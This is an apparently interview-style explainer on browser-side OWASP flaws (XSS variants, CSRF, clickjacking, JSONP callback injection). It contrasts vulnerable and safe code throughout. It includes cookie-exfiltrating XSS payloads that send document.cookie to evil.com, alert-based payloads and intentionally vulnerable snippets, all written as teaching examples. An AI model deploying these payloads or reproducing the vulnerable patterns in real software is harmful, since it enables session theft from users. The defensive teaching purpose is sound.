Suggest an editImprove this articleRefine the answer for “OWASP browser vulnerabilities”. Your changes go to moderation before they’re published.Approval requiredContentWhat you’re changing🇺🇸EN🇺🇦UAPreviewTitle (EN)Short answer (EN)**OWASP browser vulnerabilities** are client-side flaws exploited through the browser: XSS injects scripts, CSRF abuses automatic cookie sending, clickjacking uses transparent iframes. ```javascript element.innerHTML = userInput; // VULNERABLE: script injection element.textContent = userInput; // SAFE: no parsing // Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict ``` **Key:** sanitize output in the right context, not just server-side input.Shown above the full answer for quick recall.Answer (EN)Image**OWASP browser vulnerabilities** are client-side security flaws in web applications that attackers exploit through the browser to steal cookies, hijack sessions, or force users into actions they never intended. ## Theory ### TL;DR - XSS: attacker plants a `<script>` tag in your DOM; browser executes it with full access to cookies and `localStorage` - CSRF: attacker tricks the browser into sending a real authenticated request by exploiting automatic cookie attachment - Clickjacking: transparent iframe sits over a real button so a "claim prize" click lands on "confirm payment" instead - Fix XSS: use `textContent` or DOMPurify; avoid `innerHTML` with user input; add CSP with nonces - Fix CSRF: `SameSite=Strict` on session cookies; add CSRF tokens for forms that still need cross-origin access ### Quick example ```html <input id="q" placeholder="Search..."> <div id="result"></div> <script> // VULNERABLE: innerHTML sends the string to the HTML parser // Input: <img src=x onerror=alert(document.cookie)> // Result: browser fires onerror, cookie leaked document.getElementById('q').oninput = (e) => { document.getElementById('result').innerHTML = e.target.value; }; // SAFE: textContent skips the parser entirely // Input: <img src=x onerror=alert(document.cookie)> // Result: literal string displayed, nothing executes document.getElementById('q').oninput = (e) => { document.getElementById('result').textContent = e.target.value; }; </script> ``` `innerHTML` passes the value to Chrome's HTML parser, which builds DOM nodes and fires event attributes like `onerror`. `textContent` creates a plain text node. No parsing, no execution. ### XSS variants **Stored XSS** saves the payload to the database. A comment stored as `<script>fetch('https://evil.com?c='+document.cookie)</script>` fires for every user who loads the page, not just whoever clicked a link. This is the most damaging variant because it scales automatically. **Reflected XSS** lives in the URL. The server echoes a query parameter back into the HTML without escaping it, and the browser executes it. Classic setup: `?q=<script>alert(1)</script>` rendered directly into a page template. **DOM-based XSS** never touches the server. The payload travels in the URL hash, and client-side JavaScript reads `location.hash` and writes it to the DOM. The server never sees `#`, so server-side sanitization misses it completely. You have to sanitize on the client. ### CSRF: the browser as an unwitting messenger Browsers attach matching cookies to every request, no matter where that request originated. CSRF exploits this. An attacker hosts a page that fires a POST to `https://yourbank.com/transfer?amount=5000&to=attacker`. The victim visits it while logged in, and the browser sends the session cookie without hesitation. Setting `SameSite=Strict` on session cookies tells the browser to skip cookies on any cross-origin request. That blocks the attack before the server even sees it. For APIs that still need cross-origin calls, pair `SameSite=Lax` with a CSRF token: a secret embedded in the form, verified server-side before processing. ### Clickjacking: what you see vs. what you click The attacker loads your page in a transparent iframe placed precisely over a "win a prize" button on their own page. The user clicks what they think is the prize button. They actually activate "confirm transfer" on yours. Setting `X-Frame-Options: DENY` tells browsers to refuse rendering your page inside any frame. The modern replacement is `Content-Security-Policy: frame-ancestors 'none'`, which gives the same result and is easier to scope per route. ### Attack overview | Attack | Entry point | What attacker gets | Fix | |---|---|---|---| | Stored XSS | Database | Runs on every page load for all users | DOMPurify, `textContent`, CSP | | Reflected XSS | URL parameter | Runs when victim clicks attacker's link | Server-side escaping, CSP | | DOM-based XSS | URL hash/fragment | Runs client-side, server never sees it | Client sanitization, `textContent` | | CSRF | Cross-origin form or fetch | Performs actions as the logged-in user | `SameSite=Strict`, CSRF tokens | | Clickjacking | iframe overlay | Victim clicks without knowing | `X-Frame-Options`, `frame-ancestors` | | MITM | Network traffic | Reads or modifies all data in transit | HTTPS, HSTS | | SQL injection | Query string concatenation | DB read, write, or delete | Parameterized queries, ORM | ### When to apply which fix - User text rendered as HTML → `DOMPurify.sanitize()` before `innerHTML`; switch to `textContent` if rich formatting is not needed - State-changing endpoints (POST, PUT, DELETE) → `SameSite=Strict` cookies plus a server-side CSRF token - Third-party scripts or ads → CSP that whitelists specific domains with a nonce per request - Any page that can be embedded in an iframe → `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'` - Node.js dependencies → `npm audit` in CI; replace packages with open CVEs before they get exploited ### How the browser processes injected markup Chrome's HTML parser reads the document left to right and builds the DOM tree node by node. When it finds an unescaped `<script>` tag or an event attribute like `onerror`, it queues the contained JavaScript in the event loop. That script runs inside the page's execution context with full access to `document.cookie`, `window.localStorage`, and every DOM element. The Same-Origin Policy blocks cross-origin reads, but a script already running inside your origin is not subject to that restriction. That is the entire threat model for XSS. ### Common mistakes **Sanitizing on the server, inserting raw HTML on the client.** Server sends `<script>`, client runs `element.innerHTML = data`. The HTML parser decodes `<` back to `<` and executes the tag. Server escaping works only if you also use `textContent` client-side, or pass through DOMPurify before touching `innerHTML`. I have seen this exact pattern in dozens of code reviews: the server-side escape was correct, added two years earlier, and then someone introduced `innerHTML` in a new component without realizing sanitization had already moved elsewhere. ```javascript // Bug: server escapes correctly, client unescapes it const safeFromServer = '<script>alert(1)</script>'; element.innerHTML = safeFromServer; // Browser re-parses, script fires // Fix element.textContent = safeFromServer; // Literal text, nothing executes ``` **CSP with `unsafe-inline`.** Adding `script-src 'unsafe-inline'` to your Content Security Policy nullifies the protection. Inline `<script>` blocks still execute. Use nonces instead: ```html <!-- Server generates a fresh nonce each request --> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-rAnd0m123'"> <!-- Only scripts with this exact nonce run --> <script nonce="rAnd0m123"> // legitimate code </script> ``` **Forgetting DOM-based XSS from URL fragments.** `#<img src=x onerror=alert(1)>` bypasses the server completely because hash values are never sent in HTTP requests. If your code reads `location.hash` and writes to the DOM, sanitize on the client: ```javascript // Vulnerable const payload = location.hash.slice(1); document.getElementById('content').innerHTML = payload; // Safe import DOMPurify from 'dompurify'; const payload = decodeURIComponent(location.hash.slice(1)); document.getElementById('content').innerHTML = DOMPurify.sanitize(payload); ``` **`HttpOnly` without `Secure`.** `HttpOnly` stops JavaScript from reading cookies. But over plain HTTP a network-level attacker can still intercept them. The complete combination is: ``` Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict ``` **Missing CSRF protection on state-changing endpoints.** GET requests must never change state. POST, PUT, and DELETE need either `SameSite=Strict` cookies or a server-verified CSRF token. Checking only the `Referer` header is not reliable, because proxies and privacy tools strip it. ### Real-world usage - React: `dangerouslySetInnerHTML` only with `DOMPurify.sanitize(text)`, common in Markdown renderers for blog platforms - Express: `helmet` middleware sets CSP, `X-Frame-Options`, HSTS, and other security headers with one call - Angular: escapes template bindings automatically; `DomSanitizer.bypassSecurityTrustHtml()` in a code review is a red flag worth stopping for - Vue: `v-html` carries the same risk as `dangerouslySetInnerHTML`; sanitize before passing the value - CI/CD: OWASP ZAP can scan for XSS and injection issues automatically on each deployment ### Follow-up questions **Q:** What is the difference between Stored, Reflected, and DOM-based XSS? **A:** Stored lives in the database and runs for every visitor. Reflected needs the victim to click a crafted URL. DOM-based never reaches the server; the payload is in the URL hash and client JavaScript writes it to the DOM. **Q:** How does CSP limit XSS? **A:** CSP whitelists which sources the browser can load scripts from. `script-src 'self'` blocks anything not from your own origin, including inline tags and `eval`. A nonce ties each allowed inline script to a per-request random value, so even if an attacker injects a `<script>` tag, it has no valid nonce and the browser refuses to run it. **Q:** How do you mitigate CSRF without tokens? **A:** `SameSite=Strict` cookies prevent the browser from sending credentials on any cross-origin request. A custom header like `X-Requested-With: XMLHttpRequest` also works because a simple cross-origin form cannot set custom headers without triggering a CORS preflight. **Q:** What prevents clickjacking when CSP is not configured? **A:** `X-Frame-Options: DENY` is the fallback. It instructs browsers to refuse loading the page inside any iframe. `SAMEORIGIN` allows framing from the same domain only. The CSP `frame-ancestors` directive is the modern equivalent and supports more granular rules. **Q:** A candidate says "sanitize inputs to prevent XSS." What does a senior-level answer add? **A:** Context-aware escaping. The same string needs different treatment depending on where it lands: HTML body, HTML attribute value, JavaScript string literal, URL parameter, or CSS property. A payload harmless in one context is dangerous in another. DOMPurify handles this correctly; hand-rolled regex almost never does. **Q:** Design a comment system with Markdown and emoji support that is safe against XSS. **A:** Parse Markdown server-side with a library like markdown-it configured to strip raw HTML tags. Send the resulting HTML to the client. On the client, pass it through DOMPurify before inserting into the DOM. Serve pages with a CSP using per-request nonces and no `unsafe-inline`. Rate-limit post submissions and log payloads that triggered sanitization for later review. ## Examples ### Basic XSS: vulnerable vs. safe search input ```html <!DOCTYPE html> <html> <body> <input id="search" placeholder="Search..."> <div id="result"></div> <script> const result = document.getElementById('result'); const input = document.getElementById('search'); // VULNERABLE: HTML parser builds real nodes from the string // Try: <img src=x onerror=alert(document.cookie)> // Result: onerror fires and leaks the cookie input.oninput = (e) => { result.innerHTML = e.target.value; }; // SAFE: no parsing, just a text node // Try: <img src=x onerror=alert(document.cookie)> // Result: literal string appears, nothing runs input.oninput = (e) => { result.textContent = e.target.value; }; </script> </body> </html> ``` The core difference: `innerHTML` asks the HTML parser to interpret the string. `textContent` creates a text node directly. One path leads to code execution, the other does not. ### React production pattern: comments with rich text ```jsx import DOMPurify from 'dompurify'; // npm install dompurify // VULNERABLE: user-controlled HTML rendered without sanitization function CommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: c.text }} // c.text from DB: '<img src=x onerror=fetch("https://evil.com?c="+document.cookie)>' // Every visitor leaks their session cookie to the attacker /> ))} </ul> ); } // SAFE: DOMPurify strips event handlers and dangerous attributes function SafeCommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(c.text) }} // onerror, onclick, and javascript: URLs stripped before render // Safe HTML like <strong> or <em> passes through unchanged /> ))} </ul> ); } ``` The name `dangerouslySetInnerHTML` was chosen deliberately. React wants you to pause here. If the content comes from users or an untrusted API, DOMPurify goes between the data and the prop. Most XSS bugs in React apps appear not on the initial write but months later when someone adds `innerHTML` in a new component without checking whether sanitization was already handled upstream. ### Advanced: JSONP callback injection ```javascript // Express handler - VULNERABLE // Attacker calls: GET /api/data?callback=alert(document.cookie)// app.get('/api/data', (req, res) => { const callback = req.query.callback; res.setHeader('Content-Type', 'application/javascript'); // Outputs: alert(document.cookie)//({data:'safe'}); // Browser loads this as a <script> tag and executes it res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); }); // SAFE: whitelist valid callback names const ALLOWED_CALLBACKS = new Set(['onDataLoaded', 'handleResult']); app.get('/api/data', (req, res) => { const callback = req.query.callback; if (!ALLOWED_CALLBACKS.has(callback)) { return res.status(400).json({ error: 'Invalid callback name' }); } res.setHeader('Content-Type', 'application/javascript'); res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); }); ``` JSONP is mostly a legacy pattern that CORS replaced, but it still appears in codebases that predate 2015 and were never fully migrated. The callback parameter is a direct code execution path if echoed without validation. A whitelist blocks it. If you control both client and server, drop JSONP entirely and configure CORS properly.For the reviewerNote to the moderator (optional)Visible only to the moderator. Helps review go faster.